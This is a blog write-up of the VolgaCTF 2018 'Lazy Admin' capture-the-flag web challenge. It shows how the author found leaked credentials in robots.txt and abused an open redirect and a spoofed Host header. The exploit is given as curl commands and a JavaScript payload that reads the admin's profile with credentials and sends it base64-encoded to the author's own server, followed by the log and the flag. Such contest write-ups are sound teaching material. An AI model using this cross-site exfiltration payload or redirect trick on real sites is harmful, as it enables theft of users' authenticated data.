Article List

VolgaCTF 2018 Lazy Admin writeup


Tue Mar 27 2018 03:26:15 GMT+0900 (일본 표준시)
ctfwriteupexploitxssvolgactf2018lazy adminlazyadmin

Introduction

Last week, my team(dcua) members were playing Insomnihack finals, and at the same time, I just got a chance to play CTF for a very small amount of time.

Considering that I have limited computer usage per day, I decided to play VolgaCTF Quals for fun, and there I solved lazy_admin which scored me around 150pt.

Other ones were in fact frustrating. Guestbook challenge was really guessy, but then Forgotten Task was pretty cool. I found a LFI but got no time to actually exploit it.

I saw the lazy admin writeup posted on CTFTime, and it seems like I solved it with an unintended way. Today I'm going to explain how I solved the challenge.

Robots... still in 2018?

Registration is blocked, Only login is allowed. My first thought was to find robots.txt and get some goody information.

GETing http://lazy-admin.quals.2018.volgactf.ru/robots.txt returns Disallow: /unauthorized_users.txt.

GETing http://lazy-admin.quals.2018.volgactf.ru/unauthorized_users.txt returns 1. Nick:BjnjjdGonhdkG@!lf.


........ I got the access to the user on the first thought.

Strict blog? I don't think it's that strict...

Strict blog pages with the profile page comes up, with the menus (namely Profile, Verify, and Logout).

In the verify page, it says "Paste your account verify code in the end of this link and send to Administrator".

The sample input shows /verify.php?action=verify&code=, where I guessed it has to be something to do with XSS.

Intended method: Use redirection bug

While user is logged in, the /?redir= parameter can be used to redirect to other page.

From there, people can bypass filters and trigger XSS from the URL parameter. It seems like parse_url() function is used from the server-side script.

In the writeup in CTFTime the payload was /?redir=+https://harold.kim, while I bypassed it with /?redir=\/\/harold.kim.

Unintended method: manipulating Host parameter.

This service actually had an unexpected bug. While playing with /?redir=, I realized that It uses parse_url() to parse the parameter and it also allowes the host to be included in it.

so for the example:

http://lazy-admin.quals.2018.volgactf.ru/?redir=/ok -> redirects to /ok
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://lazy-admin.quals.2018.volgactf.ru/ok -> redirects to /ok
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://lazy-admi.quals.2018.volgactf.ru/ok -> ERROR
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://harold.kim/ok -> error
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://[email protected]@lazy-admin.quals.2018.volgactf.ru/ok -> redirects to /ok



Then I thought, 'What if the Host parameter is manipulated? should be funny then lol'... and it worked.

shell
# curl -v "http://lazy-admin.quals.2018.volgactf.ru/?redir=http://pwn.moe/" -H "Host: pwn.moe" -H "Cookie: PHPSESSID=<redacted>"

*   Trying 82.202.212.170...
* TCP_NODELAY set
* Connected to lazy-admin.quals.2018.volgactf.ru (82.202.212.170) port 80 (#0)
> GET /?redir=http://pwn.moe/ HTTP/1.1
> Host: pwn.moe
> User-Agent: curl/7.52.1
> Accept: */*
> Cookie: PHPSESSID=<redacted>
> 
< HTTP/1.1 302 Found
< Date: Mon, 26 Mar 2018 09:20:21 GMT
< Server: Apache/2.2.22 (Debian)
< X-Powered-By: PHP/5.5.38-1~dotdeb+7.1
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Location: http://pwn.moe/
< Access-Control-Allow-Credentials: true
< Vary: Accept-Encoding
< Content-Length: 0
< Content-Type: text/html

So funnily, my payload is :

shell
curl -v "http://lazy-admin.quals.2018.volgactf.ru/verify.php" \
-d "link=%2Fverify.php%3Faction%3Dverify%26code%3DFhgNODNBSWKV&submit=" \
-H "Host: pwn.moe" \
-H "Cookie: PHPSESSID=<redacted>"

The src of https://pwn.moe/verify.php

php
# cat verify.php 
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function(){
	(new Image).src = 'http://pwn.moe/a.php?'+btoa(this.responseText);
};
// you can also try http://localhost/server-status to snatch the traffic. :(
xhr.open('GET','http://lazy-admin.quals.2018.volgactf.ru/profile.php',true);
xhr.withCredentials = true;
xhr.send('');
</script>

The log from the server:

82.202.212.170 - - [25/Mar/2018:17:25:42 +0900] "GET //verify.php?action=verify&code=FhgNODNBSWKV HTTP/1.1" 200 984
82.202.212.170 - - [25/Mar/2018:17:25:42 +0900] "GET /a.php?DQo8IURPQ1RZUEUgaHR .....

Decoding base64 from the log successfully returns the flag:

<div class="card">
  <h1>admin</h1>
  <p class="title">VolgaCTF{clieNt_S1De_is_Awes0mEE_With_p@rse_Url}</p>
  <p>Lazy admin</p>